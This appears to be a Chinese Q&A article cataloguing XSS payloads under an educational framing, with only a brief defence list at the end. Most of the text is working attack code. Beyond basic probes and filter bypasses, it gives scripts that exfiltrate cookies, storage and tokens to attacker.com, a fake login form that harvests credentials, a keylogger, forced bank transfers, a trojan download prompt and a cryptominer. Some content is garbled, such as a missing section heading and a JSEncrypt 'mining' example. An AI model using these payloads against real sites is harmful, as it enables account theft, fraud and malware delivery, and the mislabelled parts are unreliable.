乐闻世界logo
搜索文章和话题

常见的 XSS Payload 有哪些?如何识别和防护恶意 XSS 载荷?

2026年2月21日 16:25

答案

XSS Payload(攻击载荷)是攻击者用于执行 XSS 攻击的恶意代码片段。了解常见的 XSS Payload 对于检测和防护 XSS 攻击至关重要。XSS Payload 可以分为多种类型,每种类型都有其特定的攻击场景和绕过技巧。

基础 XSS Payload

1. Script 标签注入

最基础的 Payload:

html
<script>alert(1)</script> <script>alert('XSS')</script> <script>alert("XSS")</script>

变体:

html
<script>alert(String.fromCharCode(88,83,83))</script> <script>alert(/XSS/.source)</script> <script>alert`XSS`</script>

2. 图片标签注入

onerror 事件:

html
<img src=x onerror=alert(1)> <img src=x onerror=alert('XSS')> <img src=x onerror=alert("XSS")>

变体:

html
<img src=x onerror=alert(1)> <img src=x onerror=alert(1) /> <img src=x onerror=alert(1)//>

3. SVG 标签注入

onload 事件:

html
<svg onload=alert(1)> <svg/onload=alert(1)> <svg onload="alert(1)">

变体:

html
<svg onload="alert(1)"> <svg onload='alert(1)'> <svg onload=alert(1)>

高级 XSS Payload

1. 事件处理器注入

常见事件:

html
<body onload=alert(1)> <body onpageshow=alert(1)> <body onfocus=alert(1)> <body onblur=alert(1)> <input onfocus=alert(1) autofocus> <input onblur=alert(1) autofocus> <input onchange=alert(1) autofocus> <select onfocus=alert(1) autofocus> <select onblur=alert(1) autofocus> <select onchange=alert(1) autofocus> <textarea onfocus=alert(1) autofocus> <textarea onblur=alert(1) autofocus> <textarea onchange=alert(1) autofocus> <details open ontoggle=alert(1)> <details open onmouseover=alert(1)> <details open onclick=alert(1)>

2. iframe 注入

javascript: 协议:

html
<iframe src="javascript:alert(1)"></iframe> <iframe src='javascript:alert(1)'></iframe> <iframe src=javascript:alert(1)></iframe>

data: 协议:

html
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

3. form 注入

formaction 属性:

html
<form><button formaction=javascript:alert(1)>Click</button></form> <form><input type=submit formaction=javascript:alert(1) value=Click></form>

formtarget 属性:

html
<form action="javascript:alert(1)"><input type=submit value=Click></form> <form action="data:text/html,<script>alert(1)</script>"><input type=submit value=Click></form>

绕过过滤器的 Payload

1. 大小写绕过

变体:

html
<ScRiPt>alert(1)</ScRiPt> <SCRIPT>alert(1)</SCRIPT> <Img src=x oNeRrOr=alert(1)>

2. 编码绕过

HTML 实体编码:

html
&lt;script&gt;alert(1)&lt;/script&gt; &#60;script&#62;alert(1)&#60;/script&#62; &#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

URL 编码:

html
%3Cscript%3Ealert(1)%3C/script%3E %3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

JavaScript 编码:

html
<script>\u0061\u006c\u0065\u0072\u0074(1)</script> <script>\x61\x6c\x65\x72\x74(1)</script>

3. 注释绕过

变体:

html
<!--><script>alert(1)</script>--> <!----><script>alert(1)</script><!--> <!--><img src=x onerror=alert(1)>-->

4. 空格绕过

变体:

html
<img/src=x/onerror=alert(1)> <svg/onload=alert(1)> <script>alert(1)//>

5. 引号绕过

变体:

html
<script>alert(1)</script> <script>alert`1`</script> <script>alert(/1/)</script> <script>alert(String.fromCharCode(49))</script>

直接发送:

html
<script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>

使用 Image 标签:

html
<img src="http://attacker.com/steal?cookie=123" onerror="this.src='http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)">

使用 XMLHttpRequest:

html
<script> const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); xhr.send(); </script>

使用 WebSocket:

html
<script> const ws = new WebSocket('ws://attacker.com/steal'); ws.onopen = function() { ws.send(document.cookie); }; </script>

会话劫持 Payload

1. 会话 ID 窃取

LocalStorage 窃取:

html
<script> const localStorageData = JSON.stringify(localStorage); fetch('http://attacker.com/steal?localStorage=' + encodeURIComponent(localStorageData)); </script>

SessionStorage 窃取:

html
<script> const sessionStorageData = JSON.stringify(sessionStorage); fetch('http://attacker.com/steal?sessionStorage=' + encodeURIComponent(sessionStorageData)); </script>

2. Token 窃取

JWT Token 窃取:

html
<script> const token = localStorage.getItem('token'); fetch('http://attacker.com/steal?token=' + encodeURIComponent(token)); </script>

钓鱼攻击 Payload

1. 虚假登录表单

注入虚假表单:

html
<script> const fakeForm = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;"> <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;"> <h3>会话已过期,请重新登录</h3> <input type="text" id="username" placeholder="用户名"> <input type="password" id="password" placeholder="密码"> <button onclick="stealCredentials()">登录</button> </div> </div> `; document.body.innerHTML += fakeForm; function stealCredentials() { const username = document.getElementById('username').value; const password = document.getElementById('password').value; fetch('http://attacker.com/steal', { method: 'POST', body: JSON.stringify({ username, password }) }); } </script>

2. 重定向攻击

恶意重定向:

html
<script> window.location = 'http://phishing.com/login?ref=' + encodeURIComponent(document.location.href); </script>

使用 meta 标签:

html
<meta http-equiv="refresh" content="0;url=http://phishing.com/login">

键盘记录 Payload

1. 基础键盘记录

记录所有按键:

html
<script> let keylog = ''; document.addEventListener('keydown', function(e) { keylog += e.key; if (keylog.length > 100) { fetch('http://attacker.com/keylog', { method: 'POST', body: JSON.stringify({ keylog }) }); keylog = ''; } }); </script>

2. 高级键盘记录

记录上下文:

html
<script> let keylog = []; document.addEventListener('keydown', function(e) { keylog.push({ key: e.key, timestamp: Date.now(), url: window.location.href, element: e.target.tagName }); if (keylog.length > 50) { fetch('http://attacker.com/keylog', { method: 'POST', body: JSON.stringify({ keylog }) }); keylog = []; } }); </script>

数据篡改 Payload

1. 修改页面内容

修改文本内容:

html
<script> document.getElementById('bank-balance').textContent = '999999.99'; document.getElementById('transaction-history').innerHTML = '<p>无交易记录</p>'; </script>

2. 修改链接

修改所有链接:

html
<script> const links = document.querySelectorAll('a'); links.forEach(link => { link.href = 'http://phishing.com/login?redirect=' + encodeURIComponent(link.href); }); </script>

CSRF 辅助 Payload

1. 自动发送请求

发送 GET 请求:

html
<script> fetch('http://bank.com/transfer?to=attacker&amount=10000', { credentials: 'include' }); </script>

发送 POST 请求:

html
<script> fetch('http://bank.com/transfer', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'to=attacker&amount=10000', credentials: 'include' }); </script>

2. 窃取 CSRF Token

窃取 meta 标签中的 Token:

html
<script> const csrfToken = document.querySelector('meta[name="csrf-token"]').content; fetch('http://attacker.com/steal?token=' + encodeURIComponent(csrfToken)); </script>

恶意软件分发 Payload

1. 下载恶意文件

自动下载:

html
<script> const link = document.createElement('a'); link.href = 'http://malicious.com/trojan.exe'; link.download = 'update.exe'; link.click(); </script>

2. 诱导下载

显示虚假更新提示:

html
<script> const updateMessage = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;"> <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;"> <h3>发现新版本,请点击下载更新</h3> <a href="http://malicious.com/update.exe" download>下载更新</a> </div> </div> `; document.body.innerHTML += updateMessage; </script>

网页挖矿 Payload

1. 使用 Coinhive

基础挖矿:

html
<script src="https://coin-hive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.User('site-key'); miner.start(); </script>

2. 使用 JSEncrypt

加密挖矿:

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/jsencrypt/3.0.0/jsencrypt.min.js"></script> <script> var crypt = new JSEncrypt(); // 执行加密挖矿 </script>

检测和防护

1. 检测 Payload

常见检测方法:

  • 搜索 <script> 标签
  • 搜索 javascript: 协议
  • 搜索 onerroronload 等事件处理器
  • 搜索 eval()new Function() 等危险函数
  • 使用正则表达式匹配恶意模式

2. 防护 Payload

防护措施:

  • 对所有用户输入进行编码
  • 使用 Content Security Policy
  • 设置 HttpOnly Cookie
  • 使用安全的 DOM API
  • 实施输入验证和过滤

总结

XSS Payload 是攻击者执行 XSS 攻击的工具,了解常见的 XSS Payload 对于检测和防护 XSS 攻击至关重要。常见的 XSS Payload 包括:

  1. 基础 Payload:Script 标签、图片标签、SVG 标签
  2. 高级 Payload:事件处理器、iframe、form
  3. 绕过过滤器 Payload:大小写、编码、注释、空格、引号
  4. Cookie 窃取 Payload:直接发送、使用 Image 标签
  5. 会话劫持 Payload:LocalStorage、SessionStorage、Token 窃取
  6. 钓鱼攻击 Payload:虚假登录表单、重定向攻击
  7. 键盘记录 Payload:记录按键、记录上下文
  8. 数据篡改 Payload:修改页面内容、修改链接
  9. CSRF 辅助 Payload:自动发送请求、窃取 CSRF Token
  10. 恶意软件分发 Payload:下载恶意文件、诱导下载
  11. 网页挖矿 Payload:使用 Coinhive、JSEncrypt

通过了解这些 Payload,开发者可以更好地检测和防护 XSS 攻击。

标签:XSS